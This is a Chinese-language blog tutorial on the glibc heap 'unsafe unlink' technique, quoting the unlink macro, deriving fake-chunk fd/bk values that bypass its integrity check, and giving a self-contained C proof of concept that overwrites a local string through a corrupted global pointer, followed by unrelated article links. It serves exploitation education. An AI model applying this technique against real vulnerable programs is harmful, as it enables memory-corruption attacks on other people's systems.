#### 0x1 前言

p->fd->bk = p->bkp->bk->fd = p->fd

1. FD = P->fd = addr - 3*4 2. BK = P->bk = except value3. FD->bk =BK , 即  \*(addr-3\*4+3\*4) = BK = except value4. BK->fd =FD , 即  *(except value + 8) = FD = addr - 3\*4

#define unlink(P, BK, FD) {                                            \    FD = P->fd;                                                          \    BK = P->bk;                                                          \    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                \      malloc_printerr (check_action, "corrupted double-linked list", P); \    else {                                                               \      FD->bk = BK;                                                       \      BK->fd = FD;                                                       \      if (!in_smallbin_range (P->size)                      \      && __builtin_expect (P->fd_nextsize != NULL, 0)) {        \        assert (P->fd_nextsize->bk_nextsize == P);               \        assert (P->bk_nextsize->fd_nextsize == P);               \        if (FD->fd_nextsize == NULL) {                      \      if (P->fd_nextsize == P)                      \        FD->fd_nextsize = FD->bk_nextsize = FD;              \      else {                                   \        FD->fd_nextsize = P->fd_nextsize;                \        FD->bk_nextsize = P->bk_nextsize;                \        P->fd_nextsize->bk_nextsize = FD;                \        P->bk_nextsize->fd_nextsize = FD;                \      }                                \        }   else {                                 \      P->fd_nextsize->bk_nextsize = P->bk_nextsize;               \      P->bk_nextsize->fd_nextsize = P->fd_nextsize;               \        }                                      \      }                                    \    }                                                                    \  }

// 由于P已经在双向链表中，所以有两个地方记录其大小，所以检查一下其大小是否一致。 if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                \      malloc_printerr (check_action, "corrupted double-linked list", P); \    else {                                                               \      FD->bk = BK;                                                       \      BK->fd = FD;                                                       \      if (!in_smallbin_range (P->size)                      \      && __builtin_expect (P->fd_nextsize != NULL, 0)) {        \        assert (P->fd_nextsize->bk_nextsize == P);               \        assert (P->bk_nextsize->fd_nextsize == P);

P->fd->bk=PP->bk->fd=P

P->fd->bk =*（addr-3*4+3*4）=P    ==>  addr = &P P->bk->fd = *(except value + 2*4) = P => except value = &P-2*4

**所以当我们把fd内容设置为(&P-3*4)，把bk的内容设置为（&P-2*4）的时候，就可以绕过这个安全检测机制 **。

p->fd->bk = p->bkp->bk->fd = p->fd 因为 p-fd->bk=P->bk->fd = P所以最后 P=&P-3*4

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <stdint.h>  uint64_t *chunk0_ptr; int main(){    printf("Welcome to unsafe unlink 2.0!\n");    printf("Tested in Ubuntu 14.04/16.04 64bit.\n");    printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");    printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");     int malloc_size = 0x80; //we want to be big enough not to use fastbins    int header_size = 2;    printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1    printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);    printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);    printf("We create a fake chunk inside chunk0.\n");    printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);    printf("We setup the 'next_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");    printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) != False\n");    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);    printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);    printf("Fake chunk bk: %p\n",(void*) chunk0_ptr[3]);     printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");    uint64_t *chunk1_hdr = chunk1_ptr - header_size;    printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");    printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");    chunk1_hdr[0] = malloc_size;    printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);    printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n");    chunk1_hdr[1] &= ~1;     printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");    printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n");    free(chunk1_ptr);     printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");    char victim_string[8];    strcpy(victim_string,"Hello!~");    chunk0_ptr[3] = (uint64_t) victim_string;     printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");    printf("Original value: %s\n",victim_string);    chunk0_ptr[0] = 0x4141414142424242LL;    printf("New Value: %s\n",victim_string);}

1.申请两个大小为0x80的堆块:

chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1

2.在chunk0中构建一个伪的堆块，以chunk0_ptr为起始地址

chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

3.修改chunk1的pre_chunk_size字段和size字段，以便于在free(chunk1)的时候，可以合并上面构造的那个伪块

header_size = 2uint64_t *chunk1_hdr = chunk1_ptr - header_size;chunk1_hdr[0] = malloc_size; //上一个堆块的大小，就是伪块的大小chunk1_hdr[1]&=~1;  //末位清零，最后一位为零表示上一个堆块是free状态，可以和它合并

4.在free(chunk1_ptr)之后，chunk0_ptr指向了&chunk0_ptr-3的地方

5.漏洞证明

chunk0_ptr[3] = (uint64_t) victim_string //其实就是chunk0_ptr[3] = &victim_string chunk0_ptr[0] = 0x4141414142424242LL;printf("New Value: %s\n",victim_string);

0 条评论

• ### 《Spring Boot极简教程》附录1 计算机简史附录1 计算机简史1.0 一切皆是映射ABPLTZ1.1 二进制01与易经阴阳1.2 向上抽象封装一层1.3 编程之初：从机械计算机到能接受指令的计

计算机领域中的所有问题,都可以通过向上一层进行抽象封装来解决.这里的封装的本质概念，其实就是”映射“。

• ### 深入iOS系统底层之汇编语言

要想完全的了解一个系统唯一的方法就是去阅读这个系统的源代码实现！这个原则对于一个iOS程序员也是如此。很幸运的是我们现在处于一个开源代码迸发的美好时代(这里要感...

• ### 附录A 计算机的0和1 1.0 一切皆是映射ABPLTZ1.1 二进制01与易经阴阳1.2 向上抽象封装一层1.3 编程之初：从机械计算机到能接受指令的计算机小结参考资料

计算机领域中的所有问题,都可以通过向上一层进行抽象封装来解决.这里的封装的本质概念，其实就是”映射“。

• ### 第一代程序员王小波

喜欢读书的人，对王小波都不陌生，他是中国最富创造性的作家之一，他是中国近半世纪的苦难和荒谬所结晶出来的天才，他英年早逝。他的作品对我们生活中所有的荒谬和苦难作出...

• ### 想做web开发，就学JavaScript

有一天我被问到，为了快速地在web开发工作上增加优势，应该学习什么语言。我的思绪回到了大学，那时候我用Pascal、Fortran、C和汇编语言，不过那个时候有...

• ### 90年代自学C，独立研发中文编辑器和输入法，被称小说圈中的Geek，你一定不知道这样的王小波！

早在90年代初，王小波就接触了计算机。1988年，他毕业于美国匹兹堡大学东亚研究中心，获硕士学位，那时就知道Macintosh，玩过IBMPS/2。

• ### 编译器之自举

**要阅读本文，不需要太高深的编译原理知识，甚至不需要编译相关的知识。但是本文也不是面向对电脑一无所知的读者的，你至少要知道：

• ### MCU上的代码执行时间

在许多实时应用程序中，二八原则并不生效，CPU 可以花费95%(或更多)的时间在不到5% 的代码上。电动机控制、引擎控制、无线通信以及其他许多对时间敏感的应用程...

• ### C++的new和delete详解

C++中如果要在堆内存中创建和销毁对象需要借助关键字new和delete来完成。比如下面的代码